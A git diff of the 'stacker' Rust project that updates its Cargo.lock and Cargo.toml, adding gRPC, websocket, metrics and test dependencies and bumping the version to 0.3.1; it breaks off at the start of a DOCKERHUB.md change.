+checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154"
+dependencies = [
+ "bitflags 2.11.0",
+ "errno",
+ "libc",
+ "linux-raw-sys 0.4.15",
+ "windows-sys 0.59.0",
+]
+
 [[package]]
 name = "rustix"
 version = "1.1.4"
@@ -4902,16 +5963,31 @@ dependencies = [
  "windows-sys 0.61.2",
 ]
 
+[[package]]
+name = "rustls"
+version = "0.22.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bf4ef73721ac7bcd79b2b315da7779d8fc09718c6b3d2d1b2d94850eb8c18432"
+dependencies = [
+ "log",
+ "ring",
+ "rustls-pki-types",
+ "rustls-webpki 0.102.8",
+ "subtle",
+ "zeroize",
+]
+
 [[package]]
 name = "rustls"
 version = "0.23.37"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4"
 dependencies = [
+ "log",
  "once_cell",
  "ring",
  "rustls-pki-types",
- "rustls-webpki",
+ "rustls-webpki 0.103.10",
  "subtle",
  "zeroize",
 ]
@@ -4923,10 +5999,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "70cc376c6ba1823ae229bacf8ad93c136d93524eab0e4e5e0e4f96b9c4e5b212"
 dependencies = [
  "log",
- "rustls",
+ "rustls 0.23.37",
  "rustls-native-certs",
  "rustls-pki-types",
- "rustls-webpki",
+ "rustls-webpki 0.103.10",
 ]
 
 [[package]]
@@ -4969,6 +6045,17 @@ dependencies = [
  "zeroize",
 ]
 
+[[package]]
+name = "rustls-webpki"
+version = "0.102.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "64ca1bc8749bd4cf37b5ce386cc146580777b4e8572c7b97baf22c83f444bee9"
+dependencies = [
+ "ring",
+ "rustls-pki-types",
+ "untrusted 0.9.0",
+]
+
 [[package]]
 name = "rustls-webpki"
 version = "0.103.10"
@@ -4998,7 +6085,17 @@ version = "0.10.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213"
 dependencies = [
- "cipher",
+ "cipher 0.4.4",
+]
+
+[[package]]
+name = "salsa20"
+version = "0.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2f874456e72520ff1375a06c588eaf074b0f01f9e9e1aada45bd9b7954a6e42c"
+dependencies = [
+ "cfg-if",
+ "cipher 0.5.2",
 ]
 
 [[package]]
@@ -5031,11 +6128,34 @@ version = "0.11.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0516a385866c09368f0b5bcd1caff3366aace790fcd46e2bb032697bb172fd1f"
 dependencies = [
- "pbkdf2",
- "salsa20",
+ "pbkdf2 0.12.2",
+ "salsa20 0.10.2",
  "sha2 0.10.9",
 ]
 
+[[package]]
+name = "scrypt"
+version = "0.12.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d87af57419b594aa23fa95f09f0e06d80d84ba01c26148c43844cad6ff4485f0"
+dependencies = [
+ "cfg-if",
+ "pbkdf2 0.13.0",
+ "salsa20 0.11.0",
+ "sha2 0.11.0",
+]
+
+[[package]]
+name = "sealed"
+version = "0.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "22f968c5ea23d555e670b449c1c5e7b2fc399fdaec1d304a17cd48e288abc107"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.117",
+]
+
 [[package]]
 name = "sec1"
 version = "0.7.3"
@@ -5050,6 +6170,20 @@ dependencies = [
  "zeroize",
 ]
 
+[[package]]
+name = "sec1"
+version = "0.8.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d56d437c2f19203ce5f7122e507831de96f3d2d4d3be5af44a0b0a09d8a80e4d"
+dependencies = [
+ "base16ct 1.0.0",
+ "ctutils",
+ "der 0.8.0",
+ "hybrid-array",
+ "subtle",
+ "zeroize",
+]
+
 [[package]]
 name = "security-framework"
 version = "2.11.1"
@@ -5086,6 +6220,12 @@ dependencies = [
  "libc",
 ]
 
+[[package]]
+name = "self_cell"
+version = "1.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b12e76d157a900eb52e81bc6e9f3069344290341720e9178cde2407113ac8d89"
+
 [[package]]
 name = "semver"
 version = "1.0.28"
@@ -5179,7 +6319,7 @@ version = "0.18.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "70c0e00fab6460447391a1981c21341746bc2d0178a7c46a3bbf667f450ac6e4"
 dependencies = [
- "indexmap",
+ "indexmap 2.14.0",
  "itertools 0.12.1",
  "num-traits",
  "once_cell",
@@ -5223,7 +6363,7 @@ version = "0.9.34+deprecated"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47"
 dependencies = [
- "indexmap",
+ "indexmap 2.14.0",
  "itoa",
  "ryu",
  "serde",
@@ -5290,6 +6430,16 @@ dependencies = [
  "digest 0.11.2",
 ]
 
+[[package]]
+name = "sha3"
+version = "0.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "be176f1a57ce4e3d31c1a166222d9768de5954f811601fb7ca06fc8203905ce1"
+dependencies = [
+ "digest 0.11.2",
+ "keccak",
+]
+
 [[package]]
 name = "sharded-slab"
 version = "0.1.7"
@@ -5333,12 +6483,12 @@ dependencies = [
 
 [[package]]
 name = "signature"
-version = "3.0.0-rc.6"
+version = "3.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "597a96996ccff7dfa16f052bd995b4cecc72af22c35138738dc029f0ead6608d"
+checksum = "28d567dcbaf0049cb8ac2608a76cd95ff9e4412e1899d389ee400918ca7537f5"
 dependencies = [
  "digest 0.11.2",
- "rand_core 0.10.0-rc-3",
+ "rand_core 0.10.1",
 ]
 
 [[package]]
@@ -5437,6 +6587,17 @@ dependencies = [
  "serde",
 ]
 
+[[package]]
+name = "smart-default"
+version = "0.7.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0eb01866308440fc64d6c44d9e86c5cc17adfe33c4d6eed55da9145044d0ffc1"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.117",
+]
+
 [[package]]
 name = "smartstring"
 version = "1.0.1"
@@ -5449,6 +6610,12 @@ dependencies = [
  "version_check",
 ]
 
+[[package]]
+name = "smawk"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b7c388c1b5e93756d0c740965c41e8822f866621d41acbdf6336a6a168f8840c"
+
 [[package]]
 name = "socket2"
 version = "0.4.10"
@@ -5558,14 +6725,14 @@ dependencies = [
  "futures-util",
  "hashbrown 0.15.5",
  "hashlink 0.10.0",
- "indexmap",
+ "indexmap 2.14.0",
  "ipnetwork",
  "log",
  "memchr",
  "native-tls",
  "once_cell",
  "percent-encoding",
- "rustls",
+ "rustls 0.23.37",
  "serde",
  "serde_json",
  "sha2 0.10.9",
@@ -5639,8 +6806,8 @@ dependencies = [
  "futures-util",
  "generic-array 0.14.7",
  "hex",
- "hkdf",
- "hmac",
+ "hkdf 0.12.4",
+ "hmac 0.12.1",
  "itoa",
  "log",
  "md-5",
@@ -5679,8 +6846,8 @@ dependencies = [
  "futures-core",
  "futures-util",
  "hex",
- "hkdf",
- "hmac",
+ "hkdf 0.12.4",
+ "hmac 0.12.1",
  "home",
  "ipnetwork",
  "itoa",
@@ -5733,15 +6900,28 @@ version = "0.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "caac132742f0d33c3af65bfcde7f6aa8f62f0e991d80db99149eb9d44708784f"
 dependencies = [
- "aes",
- "aes-gcm",
- "cbc",
+ "cipher 0.4.4",
+ "ssh-encoding 0.2.0",
+]
+
+[[package]]
+name = "ssh-cipher"
+version = "0.3.0-rc.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "10db6f219196a8528f9ec904d9d45cdad692d65b0e57e72be4dedd1c5fddce36"
+dependencies = [
+ "aead 0.6.1",
+ "aes 0.9.1",
+ "aes-gcm 0.11.0",
+ "cbc 0.2.1",
  "chacha20",
- "cipher",
- "ctr",
+ "cipher 0.5.2",
+ "ctr 0.10.1",
+ "ctutils",
+ "des 0.9.0",
  "poly1305",
- "ssh-encoding",
- "subtle",
+ "ssh-encoding 0.3.0-rc.9",
+ "zeroize",
 ]
 
 [[package]]
@@ -5751,32 +6931,72 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "eb9242b9ef4108a78e8cd1a2c98e193ef372437f8c22be363075233321dd4a15"
 dependencies = [
  "base64ct",
- "bytes",
  "pem-rfc7468 0.7.0",
  "sha2 0.10.9",
 ]
 
+[[package]]
+name = "ssh-encoding"
+version = "0.3.0-rc.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7abf34aa716da5d5b4c496936d042ea282ab392092cd68a72ef6a8863ff8c96a"
+dependencies = [
+ "base64ct",
+ "bytes",
+ "crypto-bigint 0.7.5",
+ "ctutils",
+ "digest 0.11.2",
+ "pem-rfc7468 1.0.0",
+ "zeroize",
+]
+
 [[package]]
 name = "ssh-key"
 version = "0.6.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3b86f5297f0f04d08cabaa0f6bff7cb6aec4d9c3b49d87990d63da9d9156a8c3"
 dependencies = [
- "ed25519-dalek",
- "p256",
- "p384",
- "p521",
+ "ed25519-dalek 2.2.0",
+ "p256 0.13.2",
+ "p384 0.13.1",
+ "p521 0.13.3",
  "rand_core 0.6.4",
  "rsa 0.9.10",
- "sec1",
+ "sec1 0.7.3",
  "sha2 0.10.9",
  "signature 2.2.0",
- "ssh-cipher",
- "ssh-encoding",
+ "ssh-cipher 0.2.0",
+ "ssh-encoding 0.2.0",
  "subtle",
  "zeroize",
 ]
 
+[[package]]
+name = "ssh-key"
+version = "0.7.0-rc.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "45735ce3dea95690e4a9e414c4cfde7f79835063c3dcd35881df85a84118e74b"
+dependencies = [
+ "argon2",
+ "bcrypt-pbkdf",
+ "ctutils",
+ "ed25519-dalek 3.0.0-rc.0",
+ "hex",
+ "hmac 0.13.0",
+ "p256 0.14.0-rc.10",
+ "p384 0.14.0-rc.10",
+ "p521 0.14.0-rc.10",
+ "rand_core 0.10.1",
+ "rsa 0.10.0-rc.18",
+ "sec1 0.8.1",
+ "sha1 0.11.0",
+ "sha2 0.11.0",
+ "signature 3.0.0",
+ "ssh-cipher 0.3.0-rc.9",
+ "ssh-encoding 0.3.0-rc.9",
+ "zeroize",
+]
+
 [[package]]
 name = "stable_deref_trait"
 version = "1.2.1"
@@ -5785,15 +7005,16 @@ checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596"
 
 [[package]]
 name = "stacker"
-version = "0.2.7"
+version = "0.3.1"
 dependencies = [
  "actix",
  "actix-casbin-auth",
  "actix-cors",
+ "actix-files",
  "actix-http",
  "actix-web",
  "actix-web-actors",
- "aes-gcm",
+ "aes-gcm 0.10.3",
  "anyhow",
  "assert_cmd",
  "async-trait",
@@ -5804,6 +7025,7 @@ dependencies = [
  "clap",
  "clap_complete",
  "config",
+ "cucumber",
  "deadpool-lapin",
  "derive_builder 0.12.0",
  "dialoguer",
@@ -5814,12 +7036,19 @@ dependencies = [
  "futures-lite 2.6.1",
  "futures-util",
  "glob",
- "hmac",
- "indexmap",
+ "hmac 0.12.1",
+ "indexmap 2.14.0",
  "indicatif",
  "lapin",
+ "lazy_static",
  "mockito",
+ "pipe-adapter-mail",
+ "pipe-adapter-sdk",
  "predicates",
+ "prometheus",
+ "prost",
+ "prost-types",
+ "protoc-bin-vendored",
  "rand 0.8.5",
  "redis",
  "regex",
@@ -5834,13 +7063,16 @@ dependencies = [
  "sha2 0.10.9",
  "sqlx",
  "sqlx-adapter",
- "ssh-key",
+ "ssh-key 0.6.7",
  "tar",
  "tempfile",
  "tera",
  "thiserror 1.0.69",
  "tokio",
  "tokio-stream",
+ "tokio-tungstenite",
+ "tonic",
+ "tonic-build",
  "tracing",
  "tracing-actix-web",
  "tracing-bunyan-formatter",
@@ -5849,6 +7081,7 @@ dependencies = [
  "urlencoding",
  "uuid",
  "wiremock",
+ "zstd",
 ]
 
 [[package]]
@@ -5857,6 +7090,18 @@ version = "1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
 
+[[package]]
+name = "stop-token"
+version = "0.7.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "af91f480ee899ab2d9f8435bfdfc14d08a5754bd9d3fef1f1a1c23336aad6c8b"
+dependencies = [
+ "async-channel 1.9.0",
+ "cfg-if",
+ "futures-core",
+ "pin-project-lite",
+]
+
 [[package]]
 name = "stringprep"
 version = "0.1.5"
@@ -5925,6 +7170,39 @@ dependencies = [
  "syn 2.0.117",
 ]
 
+[[package]]
+name = "synthez"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6d8a928f38f1bc873f28e0d2ba8298ad65374a6ac2241dabd297271531a736cd"
+dependencies = [
+ "syn 2.0.117",
+ "synthez-codegen",
+ "synthez-core",
+]
+
+[[package]]
+name = "synthez-codegen"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8fb83b8df4238e11746984dfb3819b155cd270de0e25847f45abad56b3671047"
+dependencies = [
+ "syn 2.0.117",
+ "synthez-core",
+]
+
+[[package]]
+name = "synthez-core"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "906fba967105d822e7c7ed60477b5e76116724d33de68a585681fb253fc30d5c"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "sealed",
+ "syn 2.0.117",
+]
+
 [[package]]
 name = "system-configuration"
 version = "0.5.1"
@@ -6025,12 +7303,33 @@ dependencies = [
  "windows-sys 0.61.2",
 ]
 
+[[package]]
+name = "terminal_size"
+version = "0.4.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "230a1b821ccbd75b185820a1f1ff7b14d21da1e442e22c0863ea5f08771a8874"
+dependencies = [
+ "rustix 1.1.4",
+ "windows-sys 0.61.2",
+]
+
 [[package]]
 name = "termtree"
 version = "0.5.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "8f50febec83f5ee1df3015341d8bd429f2d1cc62bcba7ea2076759d315084683"
 
+[[package]]
+name = "textwrap"
+version = "0.16.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c13547615a44dc9c452a8a534638acdf07120d4b6847c8178705da06306a3057"
+dependencies = [
+ "smawk",
+ "unicode-linebreak",
+ "unicode-width",
+]
+
 [[package]]
 name = "thin-vec"
 version = "0.2.15"
@@ -6154,27 +7453,6 @@ version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
 
-[[package]]
-name = "tls_codec"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0de2e01245e2bb89d6f05801c564fa27624dbd7b1846859876c7dad82e90bf6b"
-dependencies = [
- "tls_codec_derive",
- "zeroize",
-]
-
-[[package]]
-name = "tls_codec_derive"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2d2e76690929402faae40aebdda620a2c0e25dd6d3b9afe48867dfd95991f4bd"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.117",
-]
-
 [[package]]
 name = "tokio"
 version = "1.51.1"
@@ -6203,6 +7481,16 @@ dependencies = [
  "tokio",
 ]
 
+[[package]]
+name = "tokio-io-timeout"
+version = "1.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0bd86198d9ee903fedd2f9a2e72014287c0d9167e4ae43b5853007205dda1b76"
+dependencies = [
+ "pin-project-lite",
+ "tokio",
+]
+
 [[package]]
 name = "tokio-macros"
 version = "2.7.0"
@@ -6224,6 +7512,27 @@ dependencies = [
  "tokio",
 ]
 
+[[package]]
+name = "tokio-rustls"
+version = "0.25.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "775e0c0f0adb3a2f22a00c4745d728b479985fc15ee7ca6a2608388c5569860f"
+dependencies = [
+ "rustls 0.22.4",
+ "rustls-pki-types",
+ "tokio",
+]
+
+[[package]]
+name = "tokio-rustls"
+version = "0.26.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61"
+dependencies = [
+ "rustls 0.23.37",
+ "tokio",
+]
+
 [[package]]
 name = "tokio-stream"
 version = "0.1.18"
@@ -6235,6 +7544,20 @@ dependencies = [
  "tokio",
 ]
 
+[[package]]
+name = "tokio-tungstenite"
+version = "0.21.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c83b561d025642014097b66e6c1bb422783339e0909e4429cde4749d1990bc38"
+dependencies = [
+ "futures-util",
+ "log",
+ "native-tls",
+ "tokio",
+ "tokio-native-tls",
+ "tungstenite",
+]
+
 [[package]]
 name = "tokio-util"
 version = "0.7.18"
@@ -6257,6 +7580,75 @@ dependencies = [
  "serde",
 ]
 
+[[package]]
+name = "tonic"
+version = "0.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "76c4eb7a4e9ef9d4763600161f12f5070b92a578e1b634db88a6887844c91a13"
+dependencies = [
+ "async-stream",
+ "async-trait",
+ "axum",
+ "base64 0.21.7",
+ "bytes",
+ "h2 0.3.27",
+ "http 0.2.12",
+ "http-body 0.4.6",
+ "hyper 0.14.32",
+ "hyper-timeout",
+ "percent-encoding",
+ "pin-project",
+ "prost",
+ "rustls-pemfile 2.2.0",
+ "rustls-pki-types",
+ "tokio",
+ "tokio-rustls 0.25.0",
+ "tokio-stream",
+ "tower",
+ "tower-layer",
+ "tower-service",
+ "tracing",
+]
+
+[[package]]
+name = "tonic-build"
+version = "0.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "be4ef6dd70a610078cb4e338a0f79d06bc759ff1b22d2120c2ff02ae264ba9c2"
+dependencies = [
+ "prettyplease",
+ "proc-macro2",
+ "prost-build",
+ "quote",
+ "syn 2.0.117",
+]
+
+[[package]]
+name = "tower"
+version = "0.4.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c"
+dependencies = [
+ "futures-core",
+ "futures-util",
+ "indexmap 1.9.3",
+ "pin-project",
+ "pin-project-lite",
+ "rand 0.8.5",
+ "slab",
+ "tokio",
+ "tokio-util",
+ "tower-layer",
+ "tower-service",
+ "tracing",
+]
+
+[[package]]
+name = "tower-layer"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e"
+
 [[package]]
 name = "tower-service"
 version = "0.3.3"
@@ -6379,11 +7771,51 @@ version = "0.2.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
 
+[[package]]
+name = "tungstenite"
+version = "0.21.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ef1a641ea34f399a848dea702823bbecfb4c486f911735368f1f137cb8257e1"
+dependencies = [
+ "byteorder",
+ "bytes",
+ "data-encoding",
+ "http 1.4.0",
+ "httparse",
+ "log",
+ "native-tls",
+ "rand 0.8.5",
+ "sha1 0.10.6",
+ "thiserror 1.0.69",
+ "url",
+ "utf-8",
+]
+
+[[package]]
+name = "typed-builder"
+version = "0.23.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "31aa81521b70f94402501d848ccc0ecaa8f93c8eb6999eb9747e72287757ffda"
+dependencies = [
+ "typed-builder-macro",
+]
+
+[[package]]
+name = "typed-builder-macro"
+version = "0.23.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "076a02dc54dd46795c2e9c8282ed40bcfb1e22747e955de9389a1de28190fb26"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.117",
+]
+
 [[package]]
 name = "typenum"
-version = "1.19.0"
+version = "1.20.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb"
+checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20"
 
 [[package]]
 name = "ucd-trie"
@@ -6409,6 +7841,12 @@ version = "1.0.24"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
 
+[[package]]
+name = "unicode-linebreak"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3b09c83c3c29d37506a3e260c08c03743a6bb66a9cd432c6934ab501a190571f"
+
 [[package]]
 name = "unicode-normalization"
 version = "0.1.25"
@@ -6452,6 +7890,16 @@ dependencies = [
  "subtle",
 ]
 
+[[package]]
+name = "universal-hash"
+version = "0.6.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f4987bdc12753382e0bec4a65c50738ffaabc998b9cdd1f952fb5f39b0048a96"
+dependencies = [
+ "crypto-common 0.2.2",
+ "ctutils",
+]
+
 [[package]]
 name = "unsafe-libyaml"
 version = "0.2.11"
@@ -6489,6 +7937,12 @@ version = "2.1.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da"
 
+[[package]]
+name = "utf-8"
+version = "0.7.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9"
+
 [[package]]
 name = "utf8_iter"
 version = "1.0.4"
@@ -6513,12 +7967,24 @@ dependencies = [
  "wasm-bindgen",
 ]
 
+[[package]]
+name = "v_htmlescape"
+version = "0.15.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e8257fbc510f0a46eb602c10215901938b5c2a7d5e70fc11483b1d3c9b5b18c"
+
 [[package]]
 name = "valuable"
 version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65"
 
+[[package]]
+name = "value-bag"
+version = "1.12.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7ba6f5989077681266825251a52748b8c1d8a4ad098cc37e440103d0ea717fc0"
+
 [[package]]
 name = "vcpkg"
 version = "0.2.15"
@@ -6712,11 +8178,24 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909"
 dependencies = [
  "anyhow",
- "indexmap",
+ "indexmap 2.14.0",
  "wasm-encoder",
  "wasmparser",
 ]
 
+[[package]]
+name = "wasm-streams"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "15053d8d85c7eccdbefef60f06769760a563c7f0a9d6902a13d35c7800b0ad65"
+dependencies = [
+ "futures-util",
+ "js-sys",
+ "wasm-bindgen",
+ "wasm-bindgen-futures",
+ "web-sys",
+]
+
 [[package]]
 name = "wasmparser"
 version = "0.244.0"
@@ -6725,7 +8204,7 @@ checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe"
 dependencies = [
  "bitflags 2.11.0",
  "hashbrown 0.15.5",
- "indexmap",
+ "indexmap 2.14.0",
  "semver",
 ]
 
@@ -7135,7 +8614,7 @@ checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21"
 dependencies = [
  "anyhow",
  "heck",
- "indexmap",
+ "indexmap 2.14.0",
  "prettyplease",
  "syn 2.0.117",
  "wasm-metadata",
@@ -7166,7 +8645,7 @@ checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2"
 dependencies = [
  "anyhow",
  "bitflags 2.11.0",
- "indexmap",
+ "indexmap 2.14.0",
  "log",
  "serde",
  "serde_derive",
@@ -7185,7 +8664,7 @@ checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736"
 dependencies = [
  "anyhow",
  "id-arena",
- "indexmap",
+ "indexmap 2.14.0",
  "log",
  "semver",
  "serde",
@@ -7222,7 +8701,7 @@ dependencies = [
  "data-encoding",
  "der-parser",
  "lazy_static",
- "nom",
+ "nom 7.1.3",
  "oid-registry",
  "rusticata-macros",
  "thiserror 2.0.18",
@@ -7317,20 +8796,6 @@ name = "zeroize"
 version = "1.8.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0"
-dependencies = [
- "zeroize_derive",
-]
-
-[[package]]
-name = "zeroize_derive"
-version = "1.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "85a5b4158499876c763cb03bc4e49185d3cccbabb15b33c627f7884f43db852e"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.117",
-]
 
 [[package]]
 name = "zerotrie"
diff --git a/Cargo.toml b/Cargo.toml
index 97b2031c..175071f9 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -1,9 +1,13 @@
 [package]
 name = "stacker"
-version = "0.2.7"
+version = "0.3.1"
 edition = "2021"
 default-run= "server"
 
+[workspace]
+members = ["crates/pipe-adapter-sdk", "crates/pipe-adapter-mail"]
+resolver = "2"
+
 [lib]
 path="src/lib.rs"
 
@@ -20,6 +24,10 @@ required-features = ["explain"]
 path = "src/bin/stacker.rs"
 name = "stacker-cli"
 
+[[bin]]
+path = "src/bin/agent_executor.rs"
+name = "agent-executor"
+
 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
 
 [dependencies]
@@ -28,7 +36,7 @@ actix = "0.13.5"
 actix-web-actors = "4.3.1"
 chrono = { version = "0.4.39", features = ["serde", "clock"] }
 config = "0.13.4"
-reqwest = { version = "0.11.23", features = ["json", "blocking"] }
+reqwest = { version = "0.11.23", features = ["json", "blocking", "stream", "native-tls"] }
 serde = { version = "1.0.195", features = ["derive"] }
 tokio = { version = "1.28.1", features = ["full"] }
 tracing = { version = "0.1.40", features = ["log"] }
@@ -42,7 +50,8 @@ serde_valid = "0.18.0"
 serde_json = { version = "1.0.111", features = [] }
 async-trait = "0.1.77"
 serde_derive = "1.0.195"
-actix-cors = "0.6.4"
+actix-cors = "0.7.0"
+actix-files = "0.6.5"
 tracing-actix-web = "0.7.7"
 regex = "1.10.2"
 rand = "0.8.5"
@@ -50,7 +59,7 @@ tempfile = "3"
 flate2 = "1.0"
 tar = "0.4"
 ssh-key = { version = "0.6", features = ["ed25519", "rand_core"] }
-russh = "0.58"
+russh = "0.61"
 futures-util = "0.3.29"
 futures = "0.3.29"
 tokio-stream = "0.1.14"
@@ -66,12 +75,13 @@ indexmap = { version = "2.0.0", features = ["serde"], optional = true }
 serde_yaml = "0.9"
 lapin = { version = "2.3.1", features = ["serde_json"] }
 futures-lite = "2.2.0"
-clap = { version = "4.4.8", features = ["derive"] }
+clap = { version = "4.4.8", features = ["derive", "env"] }
 clap_complete = "4"
 dialoguer = { version = "0.11", features = ["fuzzy-select"] }
 indicatif = "0.17"
 brotli = "3.4.0"
 serde_path_to_error = "0.1.14"
+zstd = "0.13"
 deadpool-lapin = "0.12.1"
 docker-compose-types = "0.7.0"
 actix-casbin-auth = { git = "https://github.com/casbin-rs/actix-casbin-auth.git"}
@@ -81,6 +91,14 @@ base64 = "0.22.1"
 redis = { version = "0.27.5", features = ["tokio-comp", "connection-manager"] }
 urlencoding = "2.1.3"
 tera = "1.19.1"
+prometheus = { version = "0.13", features = ["process"] }
+lazy_static = "1.4"
+tokio-tungstenite = { version = "0.21", features = ["native-tls"] }
+tonic = { version = "0.11", features = ["tls"] }
+prost = "0.12"
+prost-types = "0.12"
+pipe-adapter-mail = { path = "crates/pipe-adapter-mail" }
+pipe-adapter-sdk = { path = "crates/pipe-adapter-sdk" }
 
 [dependencies.sqlx]
 version = "0.8.2"
@@ -99,9 +117,19 @@ default = ["indexmap"]
 indexmap = ["dep:indexmap"]
 explain = ["actix-casbin-auth/explain", "actix-casbin-auth/logging"]
 
+[build-dependencies]
+protoc-bin-vendored = "3"
+tonic-build = "0.11"
+
 [dev-dependencies]
 glob = "0.3"
 wiremock = "0.5.22"
 assert_cmd = "2.0"
 predicates = "3.0"
 mockito = "1"
+cucumber = "0.22"
+futures-util = "0.3"
+
+[[test]]
+name = "bdd"
+harness = false
diff --git a/DOCKERHUB.md b/DOCKERHUB.md
index 412b570f..a805fdbc 100644
--- a/DOCKERHUB.md
+++ b/DOCKERHUB.md
@@ -1,7 +1,7 @@
 # Stacker — Build, Deploy & Manage Containerised Apps
 
 [![Discord](https://img.shields.io/discord/578119430391988232?label=discord&logo=discord&color=5865F2)](https://discord.gg/mNhsa8VdYX)
